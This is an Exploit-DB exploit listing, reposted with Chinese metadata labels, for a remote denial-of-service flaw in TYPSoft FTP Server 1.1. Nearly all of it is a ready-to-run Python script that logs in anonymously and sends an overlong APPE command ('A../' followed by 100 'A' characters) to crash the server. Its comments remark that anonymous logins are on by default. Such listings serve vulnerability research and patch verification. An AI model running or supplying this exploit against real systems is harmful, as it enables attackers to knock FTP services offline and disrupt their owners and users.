TYPSoft FTP Server 1.1 – ‘APPE’ Remote Denial of Service

  • 作者: brock haun
    日期: 2012-03-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18615/
  • #!/usr/bin/python
    ###############################################################################
    # SEH overflow exploiting a vulnerability in Typesoft-FTP APPE command.
    # Date of Discovery: 3/16/2012 (0 Day)
    # Author: Brock Haun
    # Vulnerable Software Download: http://sourceforge.net/projects/ftpserv/
    # Software Version: 1.1
    # Target OS: Windows 7
    # REQUIRES VALID CREDENTIALS. Luckily, anonymous logins are enabled by default. 
    ###############################################################################
    
    import socket, sys
    
    if len(sys.argv)!= 2:
     print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>'
     sys.exit(1)
    
    print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'
    
    host = sys.argv[1]
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    
    buffer = 'A../' + '\x41' *100 
    
    print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'
    
    s.connect((host,21))
    
    data = s.recv(1024)
    
    s.send('USER anonymous' + '\r\n')
    
    data = s.recv(1024)
    
    s.send('PASS anonymous' + '\r\n')
    
    data = s.recv(1024)
    
    s.send('APPE ' + buffer + '\r\n')
    
    print '\n\t[*] Done! Target should be unresponsive!'
    
    s.close()